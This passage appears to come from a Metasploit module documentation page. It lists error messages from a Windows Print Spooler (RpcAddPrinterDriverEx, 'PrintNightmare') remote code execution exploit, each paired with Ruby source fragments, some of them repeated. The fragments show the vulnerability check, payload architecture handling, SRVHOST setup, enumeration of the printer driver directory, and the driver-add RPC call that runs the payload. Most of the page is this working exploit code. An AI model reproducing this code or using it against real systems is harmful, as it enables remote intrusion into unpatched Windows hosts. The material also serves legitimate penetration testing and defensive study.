137:	    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
138:	      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
139:	    when ::WindowsError::Win32::ERROR_BAD_NET_NAME
140:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
141:	    when ::WindowsError::Win32::ERROR_ACCESS_DENIED
142:	      return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
143:	    end
144:	
145:	    Exploit::CheckCode::Detected('Successfully bound to the remote service.')
146:	  end
147:	

Successfully bound to the remote service.


Here is a relevant code snippet related to the "Successfully bound to the remote service." error message:

140:	      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
141:	    when ::WindowsError::Win32::ERROR_ACCESS_DENIED
142:	      return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
143:	    end
144:	
145:	    Exploit::CheckCode::Detected('Successfully bound to the remote service.')
146:	  end
147:	
148:	  def run
149:	    fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64
150:	    fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?

Can not use an x64 payload on an x86 target.


Here is a relevant code snippet related to the "Can not use an x64 payload on an x86 target." error message:

144:	
145:	    Exploit::CheckCode::Detected('Successfully bound to the remote service.')
146:	  end
147:	
148:	  def run
149:	    fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64
150:	    fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
151:	    fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
152:	
153:	    super
154:	  end

Only x86 and x64 targets are supported.


Here is a relevant code snippet related to the "Only x86 and x64 targets are supported." error message:

145:	    Exploit::CheckCode::Detected('Successfully bound to the remote service.')
146:	  end
147:	
148:	  def run
149:	    fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64
150:	    fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
151:	    fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
152:	
153:	    super
154:	  end
155:	

Failed to enumerate the driver directory.


Here is a relevant code snippet related to the "Failed to enumerate the driver directory." error message:

146:	  end
147:	
148:	  def run
149:	    fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64
150:	    fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
151:	    fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
152:	
153:	    super
154:	  end
155:	
156:	  def setup

The SRVHOST option must be set to a routable IP address.


Here is a relevant code snippet related to the "The SRVHOST option must be set to a routable IP address." error message:

153:	    super
154:	  end
155:	
156:	  def setup
157:	    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
158:	      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
159:	    end
160:	
161:	    super
162:	  end
163:	

Failed to enumerate printer drivers.


Here is a relevant code snippet related to the "Failed to enumerate printer drivers." error message:

220:	  end
221:	
222:	  def enum_printer_drivers(environment)
223:	    response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)
224:	    response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
225:	    fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length
226:	    DriverInfo2.read(response.p_drivers.map(&:chr).join)
227:	  end
228:	
229:	  def get_printer_driver_directory(environment)
230:	    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)

Failed to obtain the printer driver directory.


Here is a relevant code snippet related to the "Failed to obtain the printer driver directory." error message:

227:	  end
228:	
229:	  def get_printer_driver_directory(environment)
230:	    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
231:	    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
232:	    fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length
233:	    RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')
234:	  end
235:	
236:	  def add_printer_driver_ex(container)
237:	    flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES

Error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>)


Here is a relevant code snippet related to the "Error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>)" error message:

238:	
239:	    begin
240:	      response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)
241:	    rescue RubySMB::Error::UnexpectedStatusCode => e
242:	      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
243:	      message = "Error #{nt_status.name} (#{nt_status.description})"
244:	      if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN
245:	        # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected
246:	        print_status('The named pipe connection was broken, reconnecting...')
247:	        reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do
248:	          dcerpc_bind_spoolss

Failed to reconnect to the named pipe.


Here is a relevant code snippet related to the "Failed to reconnect to the named pipe." error message:

251:	        else
252:	          true
253:	        end
254:	
255:	        unless reconnected
256:	          vprint_status('Failed to reconnect to the named pipe.')
257:	          return nil
258:	        end
259:	
260:	        print_status('Successfully reconnected to the named pipe.')
261:	        retry

RpcAddPrinterDriverEx response <RESPONSE.ERROR_STATUS>


Here is a relevant code snippet related to the "RpcAddPrinterDriverEx response <RESPONSE.ERROR_STATUS>" error message:

265:	
266:	      return nt_status
267:	    end
268:	
269:	    error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first
270:	    message = "RpcAddPrinterDriverEx response #{response.error_status}"
271:	    message << " #{error.name} (#{error.description})" unless error.nil?
272:	    vprint_status(message)
273:	    error
274:	  end
275:	

The <NAME> Print System RPC request failed (<E.MESSAGE>).


Here is a relevant code snippet related to the "The <NAME> Print System RPC request failed (<E.MESSAGE>)." error message:

277:	    request = PrintSystem.const_get("#{name}Request").new(**kwargs)
278:	
279:	    begin
280:	      raw_response = dcerpc.call(request.opnum, request.to_binary_s)
281:	    rescue Rex::Proto::DCERPC::Exceptions::Fault => e
282:	      fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")
283:	    end
284:	
285:	    PrintSystem.const_get("#{name}Response").read(raw_response)
286:	  end
287:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Zhiniang Peng
  • Xuefeng Li
  • Zhipeng Huo
  • Piotr Madej
  • Zhang Yunhai
  • cube0x0
  • Spencer McIntyre
  • Christophe De La Fuente

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.